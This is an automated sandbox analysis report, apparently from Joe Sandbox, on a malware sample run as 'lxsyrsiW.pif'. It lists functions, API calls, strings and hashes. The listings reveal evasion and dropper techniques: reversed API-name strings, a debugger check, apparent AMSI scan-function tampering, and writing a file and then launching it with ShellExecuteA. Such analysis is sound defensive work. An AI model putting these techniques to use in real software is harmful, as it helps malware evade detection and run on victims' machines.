Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 559dcbaac8b3f0770f725224e4ce8cf92717593111961dd1ec9af284ac84a0d6
Instruction ID: e3f7751672431b2bf979270a9fbe2b6450adf2cd45e4d1c81ad897d7eef1b0ea
Opcode Fuzzy Hash: 559dcbaac8b3f0770f725224e4ce8cf92717593111961dd1ec9af284ac84a0d6
Instruction Fuzzy Hash: 34014F786C0308AFEB14FBA4DD51E6AB7FEEB49B00F61D464B804D7640DA70A902CA24

Function 02ECAA50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02ECAAE7,?,?,00000000), ref: 02ECAA68

Part of subcall function 02ECA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02ECA7E2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02ECAAE7,?,?,00000000), ref: 02ECAA98
EnumCalendarInfoA.KERNEL32(Function_0000A99C,00000000,00000000,00000004), ref: 02ECAAA3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02ECAAE7,?,?,00000000), ref: 02ECAAC1
EnumCalendarInfoA.KERNEL32(Function_0000A9D8,00000000,00000000,00000003), ref: 02ECAACC

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: eb2d8ed69b50103d8b4187d33cd447c6e4246dafcb8e7366f13312f05eb70aa4
Instruction ID: 6c5c8fa04c7fb66bcc150a29b0da827eca27bf6e1939c2e5d9d0617b477e9d63
Opcode Fuzzy Hash: eb2d8ed69b50103d8b4187d33cd447c6e4246dafcb8e7366f13312f05eb70aa4
Instruction Fuzzy Hash: 080124B02C02086BFA11BFE4CF12B5B335DDB81B14F70E138F000A67C0D6648E128A24

Function 02ECAB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02ECACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02ECAB2F

Part of subcall function 02ECA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02ECA7E2

Strings

yyyy, xrefs: 02ECAC25
ggg, xrefs: 02ECAC15
eeee, xrefs: 02ECAC3E

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f1df002cbcd30247318483699630cf465292c145c8412850cea92b722ae29e82
Instruction ID: 57b43ff1018d0010ed0d984e0e21a918755cc4540e12944cbdce34c859a3f1fa
Opcode Fuzzy Hash: f1df002cbcd30247318483699630cf465292c145c8412850cea92b722ae29e82
Instruction Fuzzy Hash: 16418D7068450C4BD711AFF8CBA1AFEB2E7DB81204B34F53DA452C3384EA249D03CA25

Function 02ED81CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Strings

KernelBASE, xrefs: 02ED8205
AeldnaHeludoMteG, xrefs: 02ED81E5

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 1908b8774fb922f7b8f3f3a5854604203f3b06f79c6bdcc5693a9d5e5976d2a9
Instruction ID: b80baa681071f53229c784ba1550a3f9d00612108d9eed27a67991c0d987e463
Opcode Fuzzy Hash: 1908b8774fb922f7b8f3f3a5854604203f3b06f79c6bdcc5693a9d5e5976d2a9
Instruction Fuzzy Hash: 6AF06D74AC4708AFEB00FBA4DD11E6AF7EDEB4AB40761D865B80483710D670AE128A64

Function 02EDF6E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,02EDFAEB,UacInitialize,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,Initialize), ref: 02EDF6EE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02EDF700

Strings

KernelBase, xrefs: 02EDF6E9
IsDebuggerPresent, xrefs: 02EDF6FA

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 0c64bf65f976ef85819f0e7c1d3e9510483231dd0a5987252408b5b1b8bf3bb1
Instruction ID: 11b758c0e901745c84c80949149209fc87cf9cf2b01be8f124f3e82922d599dd
Opcode Fuzzy Hash: 0c64bf65f976ef85819f0e7c1d3e9510483231dd0a5987252408b5b1b8bf3bb1
Instruction Fuzzy Hash: 04D012A13F035029FE00B3F41CC485A038C899452D334BE20F023C64D2E5A688175114

Function 02ECC474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02EED10B,00000000,02EED11E), ref: 02ECC47A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02ECC48B

Strings

kernel32.dll, xrefs: 02ECC475
GetDiskFreeSpaceExA, xrefs: 02ECC485

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: bc489c1e50232386ba42426cdb17fa43da4d9c1fab3dda097a33bfd5d3c0bb3c
Instruction ID: 7d855aef9a7f7e7ee4ee90b3ec0c0e59254c916b0a2ab29d32eeaf2f92542db4
Opcode Fuzzy Hash: bc489c1e50232386ba42426cdb17fa43da4d9c1fab3dda097a33bfd5d3c0bb3c
Instruction Fuzzy Hash: 70D05EB0AC03549AEA00ABF25680632229CA75C328B78F82EF4154D200E77258628F59

Function 02ECE1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02ECE297
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02ECE2B3
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02ECE32A
VariantClear.OLEAUT32(?), ref: 02ECE353

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: a692e594c56c2957b82b17dc20a0280d046f36acc0a25df7ef6e2430174de40d
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 6E415C75A416298FCB66DB98CE90BC9B3BDAF48314F1491D9E50CE7311DA30AF828F50

Function 02ECAD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02ECAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02ECAD7D
GetModuleFileNameA.KERNEL32(02EC0000,?,00000105), ref: 02ECAD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02ECAE2E

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 9c32dd27ebb9d7399d15e865ab1e5a5f23f7ac887f74840d25c49fd17b761374
Instruction ID: 2afb41221994998c5bf7948ddbe97b44be63dfa6785a2e5c959babc4d7f81580
Opcode Fuzzy Hash: 9c32dd27ebb9d7399d15e865ab1e5a5f23f7ac887f74840d25c49fd17b761374
Instruction Fuzzy Hash: 8A413D70A8021C9BDB21DF98CE84BDAB7FD9B48304F1490E9A548E7341D7709F858F50

Function 02ECAD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02ECAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02ECAD7D
GetModuleFileNameA.KERNEL32(02EC0000,?,00000105), ref: 02ECAD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02ECAE2E

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 9fa309415c7532e735aa4c377f573faccef9bb4a714657771a75e09f5b35b120
Instruction ID: ed6621d821b0ccedf1a1d45da7e55e18aa7ccb6ad5f9b9cc5c96762cac6abed8
Opcode Fuzzy Hash: 9fa309415c7532e735aa4c377f573faccef9bb4a714657771a75e09f5b35b120
Instruction Fuzzy Hash: 35414C70A8021C9FDB21DF98CE84BDAB7FD9B48304F2490E9A548E7341DB709E858F90

Function 02EC1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbbdf040acf674eff7b883cc024f2d38dc9892ce3c6239ce3e572bf8f20f733a
Instruction ID: db8d5d196a4d951927da4ebee7da12b2fc7c6aebf0814a13c76eb3b75fcdc45f
Opcode Fuzzy Hash: bbbdf040acf674eff7b883cc024f2d38dc9892ce3c6239ce3e572bf8f20f733a
Instruction Fuzzy Hash: 49A1E8A67906040BD718AAFD9E803ADB7C29B85365F38D27EE11DCF383DB64C9538650

Function 02EC94EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02EC95DA), ref: 02EC9572
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02EC95DA), ref: 02EC9578

Strings

yyyy, xrefs: 02EC954D

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: dcbbcb6ff25a8a4d28b3972e5528b5d490c0898cff37bfe17607bb1e6ffc6a39
Instruction ID: fb0d62ec98a81cf44cd1851fed2a7f8d2e0585affc6e36383b414f41ee26553c
Opcode Fuzzy Hash: dcbbcb6ff25a8a4d28b3972e5528b5d490c0898cff37bfe17607bb1e6ffc6a39
Instruction Fuzzy Hash: 40218071A402189FDB10DFE4CA91ABEB3B9EF08700F6090A9F805E7281D7309E42CB65

Function 02ED8338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02ED83C2), ref: 02ED83A4

Strings

FlushInstructionCache, xrefs: 02ED8351
Kernel32, xrefs: 02ED8383

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: 91cfc7442f5330227bbe8ca8873b7f6f861e2f23f860da113d6a66e3b1c2fa59
Instruction ID: a4eed94e0f19b48ca6d366fb6588def3ab023ab3ac061aee756fb8ff3bf53997
Opcode Fuzzy Hash: 91cfc7442f5330227bbe8ca8873b7f6f861e2f23f860da113d6a66e3b1c2fa59
Instruction Fuzzy Hash: F6016D756C4308BFE700EFE5DC51FAAB7EDE748B00F61A460B904D6640D670AD128A24

Function 02EDAF24 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02EDAF58
IsBadWritePtr.KERNEL32(?,00000004), ref: 02EDAF88
IsBadReadPtr.KERNEL32(?,00000008), ref: 02EDAFA7
IsBadReadPtr.KERNEL32(?,00000004), ref: 02EDAFB3

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction ID: 919ba14528f06e600b292c3f9357927b92bf6a497c9c37afe341c08563d91c70
Opcode Fuzzy Hash: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction Fuzzy Hash: D321B7B2680619AFDB10DF6ACD80BAF736AEF80315F10D561FD1497380D734E9128690

Analysis Process: lxsyrsiW.pifPID: 2104, Parent PID: 6332COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	96.7%
Signature Coverage:	5.7%
Total number of Nodes:	1084
Total number of Limit Nodes:	20

Executed Functions

Function 1002CBD0 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 420COMMON

Download Yara Rule

Strings

d, xrefs: 1002C294
w, xrefs: 1002C289

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID:
String ID: d$w
API String ID: 0-2400632791
Opcode ID: 8fc7dfa7953881f0eba443ccefee9132d4f71626532639c743b5b7031b98f681
Instruction ID: 3b58a7d1205b496063c1b2204a8da8191e59d498b0b538c9a3f1341f54984d67
Opcode Fuzzy Hash: 8fc7dfa7953881f0eba443ccefee9132d4f71626532639c743b5b7031b98f681
Instruction Fuzzy Hash: 9AC15634D0C7CEAAD791C6E0BC05FAA3BE4DF423D0FD74496FA468A0B3D6249C489652

Function 10028550 Relevance: 21.5, APIs: 14, Instructions: 522COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 10027FD4

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 1ff04f09876d43afbe914d0138f07400b2449b49151b2f80d9e5eed3b2134e1f
Instruction ID: 4f459b812a85e78ac016215e267c0289a3fe05b3109a9c9d5ced4a8858fbf6f9
Opcode Fuzzy Hash: 1ff04f09876d43afbe914d0138f07400b2449b49151b2f80d9e5eed3b2134e1f
Instruction Fuzzy Hash: 81F1052CD0F2C29ED7D2C6207C407752BE4EB562E0FD74596FA4A860E2D7249F498326

Function 0040108C Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 207
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004010A6
memset.MSVCRT ref: 004010EE
strcmp.MSVCRT ref: 00401180
strcpy.MSVCRT(?,00000000), ref: 004011CE
EntryPoint.LXSYRSIW(?,?), ref: 004011BE

Part of subcall function 00401000: malloc.MSVCRT ref: 0040100F

EntryPoint.LXSYRSIW(?,?), ref: 00401202
getenv.MSVCRT ref: 0040120B
EntryPoint.LXSYRSIW(?,?), ref: 00401246
sprintf.MSVCRT ref: 00401263
fopen.MSVCRT ref: 00401278
EntryPoint.LXSYRSIW(?,?), ref: 004012B3
fwrite.MSVCRT ref: 004012DD
fclose.MSVCRT ref: 004012EC
EntryPoint.LXSYRSIW(00477C65,00000004), ref: 0040131C
ShellExecuteA.SHELL32(00000000,00000000,?,0000000A,0000000A,0000000A), ref: 00401344

Strings

%s\%s, xrefs: 00401256, 0040125B

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.2182881289.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000001.2182881289.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_lxsyrsiW.jbxd

Similarity

API ID: EntryPoint$memset$ExecuteShellfclosefopenfwritegetenvmallocsprintfstrcmpstrcpy
String ID: %s\%s
API String ID: 2742963760-4073750446
Opcode ID: f7caa40db87bd64da8a9641d8fb3409a5fd547f57c718ebec707670eae309403
Instruction ID: 7e0938a0f735226449982c757e1a15bee8303af7c1bff0ef3dea70518ca31291
Opcode Fuzzy Hash: f7caa40db87bd64da8a9641d8fb3409a5fd547f57c718ebec707670eae309403
Instruction Fuzzy Hash: 9971F4F1E001049BDB54DB9CDC81B9E77B9DB48309F04417AF60AFB391E639AA448B59

Function 1000CE90 Relevance: 16.2, APIs: 10, Instructions: 1188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3564e4d55fca24635c9f640a300f4ded4c124eb8b1f5c188f8f6fb43cfb90a2d
Instruction ID: 6513e1061100fd1b8b0ef08946528139e367ca05e908543a0b3ce9998732708d
Opcode Fuzzy Hash: 3564e4d55fca24635c9f640a300f4ded4c124eb8b1f5c188f8f6fb43cfb90a2d
Instruction Fuzzy Hash: B3A26F7190D3C18FE361DB18C850B9EBBE1EFC53D8F09495EE4889729AD735A90487A3

Function 00401155 Relevance: 13.6, APIs: 9, Instructions: 113
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00401180
strcpy.MSVCRT(?,00000000), ref: 004011CE
EntryPoint.LXSYRSIW(?,?), ref: 004011BE

Part of subcall function 00401000: malloc.MSVCRT ref: 0040100F

EntryPoint.LXSYRSIW(?,?), ref: 00401202
getenv.MSVCRT ref: 0040120B
EntryPoint.LXSYRSIW(?,?), ref: 00401246
sprintf.MSVCRT ref: 00401263
fopen.MSVCRT ref: 00401278
EntryPoint.LXSYRSIW(?,?), ref: 004012B3
fwrite.MSVCRT ref: 004012DD
fclose.MSVCRT ref: 004012EC
EntryPoint.LXSYRSIW(00477C65,00000004), ref: 0040131C
ShellExecuteA.SHELL32(00000000,00000000,?,0000000A,0000000A,0000000A), ref: 00401344

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.2182881289.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000001.2182881289.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_lxsyrsiW.jbxd

Similarity

API ID: EntryPoint$ExecuteShellfclosefopenfwritegetenvmallocsprintfstrcmpstrcpy
String ID:
API String ID: 2992075992-0
Opcode ID: 9d440d4ec79179d813846289a69e97d5325691e0c2bdd9780b26e9bc1f5c1949
Instruction ID: da6ba3fb88c20024e61c29d0d1421e634aa01f37861d58f563f893074dd25450
Opcode Fuzzy Hash: 9d440d4ec79179d813846289a69e97d5325691e0c2bdd9780b26e9bc1f5c1949
Instruction Fuzzy Hash: F54135F0E101049BDB58DB58DC91B9D77B9DB44309F0441BAF60AFB391E63CAA88CB59

